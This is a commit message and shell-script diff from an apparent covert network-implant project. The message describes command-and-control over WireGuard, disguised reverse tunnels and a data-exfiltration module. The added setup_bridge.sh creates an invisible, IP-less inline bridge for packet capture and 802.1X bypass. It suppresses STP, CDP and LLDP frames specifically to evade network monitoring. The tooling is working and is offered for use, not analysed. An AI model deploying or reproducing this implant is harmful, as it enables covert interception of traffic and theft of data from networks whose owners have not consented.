Add Phase 3 connectivity modules — 8 modules + bridge scripts

WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic),
Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with
802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK
and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over
stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem
via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server
with PSK auth for local last-resort access), DataExfil (priority-based
exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain).

Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress
CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).

scripts/setup_bridge.sh

@@ -0,0 +1,142 @@
+#!/usr/bin/env bash
+# Create transparent bridge between two interfaces
+# Usage: setup_bridge.sh <if1> <if2>
+# No IP assigned — invisible on network
+#
+# This script creates a Layer 2 bridge for inline packet capture and
+# 802.1X bypass.  The bridge has NO IP address, making it undetectable
+# via network scanning.  STP/BPDU/CDP/LLDP frames are suppressed via
+# ebtables to avoid triggering network monitoring systems.
+
+set -euo pipefail
+
+BRIDGE="br0"
+
+# --------------------------------------------------------------------------
+# Validate arguments
+# --------------------------------------------------------------------------
+if [[ $# -ne 2 ]]; then
+    echo "Usage: $0 <interface1> <interface2>" >&2
+    exit 1
+fi
+
+IF1="$1"
+IF2="$2"
+
+# Verify interfaces exist
+for iface in "$IF1" "$IF2"; do
+    if ! ip link show "$iface" &>/dev/null; then
+        echo "Error: interface $iface does not exist" >&2
+        exit 1
+    fi
+done
+
+# --------------------------------------------------------------------------
+# Cleanup any existing bridge
+# --------------------------------------------------------------------------
+if ip link show "$BRIDGE" &>/dev/null; then
+    echo "Removing existing bridge $BRIDGE"
+    ip link set down dev "$BRIDGE" 2>/dev/null || true
+    ip link del "$BRIDGE" 2>/dev/null || true
+fi
+
+# --------------------------------------------------------------------------
+# Create bridge
+# --------------------------------------------------------------------------
+echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
+
+# Create the bridge device
+ip link add name "$BRIDGE" type bridge
+
+# Disable Spanning Tree Protocol
+ip link set "$BRIDGE" type bridge stp_state 0
+
+# Zero forwarding delay — start forwarding immediately
+ip link set "$BRIDGE" type bridge forward_delay 0
+
+# Disable ageing to keep all MACs in forwarding table
+ip link set "$BRIDGE" type bridge ageing_time 0
+
+# --------------------------------------------------------------------------
+# Configure interfaces
+# --------------------------------------------------------------------------
+
+# Flush any existing IP addresses — bridge must have no L3 presence
+ip addr flush dev "$IF1" 2>/dev/null || true
+ip addr flush dev "$IF2" 2>/dev/null || true
+
+# Set promiscuous mode — capture all frames
+ip link set "$IF1" promisc on
+ip link set "$IF2" promisc on
+
+# Disable multicast snooping (avoid IGMP interference)
+echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
+
+# Add interfaces to bridge
+ip link set "$IF1" master "$BRIDGE"
+ip link set "$IF2" master "$BRIDGE"
+
+# Bring everything up
+ip link set up dev "$IF1"
+ip link set up dev "$IF2"
+ip link set up dev "$BRIDGE"
+
+# Ensure bridge has NO IP address
+ip addr flush dev "$BRIDGE" 2>/dev/null || true
+
+# --------------------------------------------------------------------------
+# ebtables rules — suppress discovery protocols
+# --------------------------------------------------------------------------
+
+# Check if ebtables is available
+if command -v ebtables &>/dev/null; then
+    echo "Applying ebtables suppression rules"
+
+    # Flush existing rules
+    ebtables -F 2>/dev/null || true
+
+    # STP/BPDU — 01:80:C2:00:00:00
+    ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
+    ebtables -A OUTPUT  -d 01:80:C2:00:00:00 -j DROP
+
+    # CDP/VTP — 01:00:0C:CC:CC:CC
+    ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
+    ebtables -A OUTPUT  -d 01:00:0C:CC:CC:CC -j DROP
+
+    # LLDP — 01:80:C2:00:00:0E
+    ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
+    ebtables -A OUTPUT  -d 01:80:C2:00:00:0E -j DROP
+
+    # Cisco PVST+ — 01:00:0C:CC:CC:CD
+    ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
+    ebtables -A OUTPUT  -d 01:00:0C:CC:CC:CD -j DROP
+
+    # LLDP alternate — 01:80:C2:00:00:03
+    ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
+    ebtables -A OUTPUT  -d 01:80:C2:00:00:03 -j DROP
+
+    # 802.1X EAP passthrough — allow EAP frames across the bridge
+    # (default FORWARD policy is ACCEPT, so EAP frames pass unless
+    # we explicitly blocked them above — we only block management protos)
+else
+    echo "Warning: ebtables not installed — protocol suppression skipped" >&2
+fi
+
+# --------------------------------------------------------------------------
+# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
+# --------------------------------------------------------------------------
+sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
+sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
+sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
+
+# --------------------------------------------------------------------------
+# Verify bridge is active
+# --------------------------------------------------------------------------
+if ip link show "$BRIDGE" | grep -q "state UP"; then
+    echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
+    bridge link show
+    exit 0
+else
+    echo "Error: bridge $BRIDGE failed to come up" >&2
+    exit 1
+fi